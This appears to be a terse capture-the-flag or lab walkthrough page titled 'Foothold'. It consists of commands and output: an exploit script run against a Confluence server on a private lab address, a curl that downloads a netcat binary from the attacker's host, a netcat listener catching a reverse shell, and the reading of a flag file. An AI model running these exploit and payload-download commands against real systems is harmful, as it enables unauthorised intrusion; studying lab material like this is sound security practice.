Foothold
Last updated
❯ python 50952.py --url=http://192.168.236.41:8090/ -c id❯ python 50952.py --url=http://192.168.236.41:8090/ -c 'curl 192.168.45.239/nc -o /dev/shm/nc'❯ python 50952.py --url=http://192.168.236.41:8090/ -c 'chmod 777 /dev/shm/nc'❯ nc -lnvp 8090
listening on [any] 8090 ...
connect to [192.168.45.239] from (UNKNOWN) [192.168.236.41] 59014
id
uid=1001(confluence) gid=1001(confluence) groups=1001(confluence)
cat /home/confluence/local.txt
81a03585d8c2912ad2aeba6c7d00619d
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
3: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:bf:a5:73 brd ff:ff:ff:ff:ff:ff
altname enp3s0
inet 192.168.236.41/24 brd 192.168.236.255 scope global ens160
valid_lft forever preferred_lft forever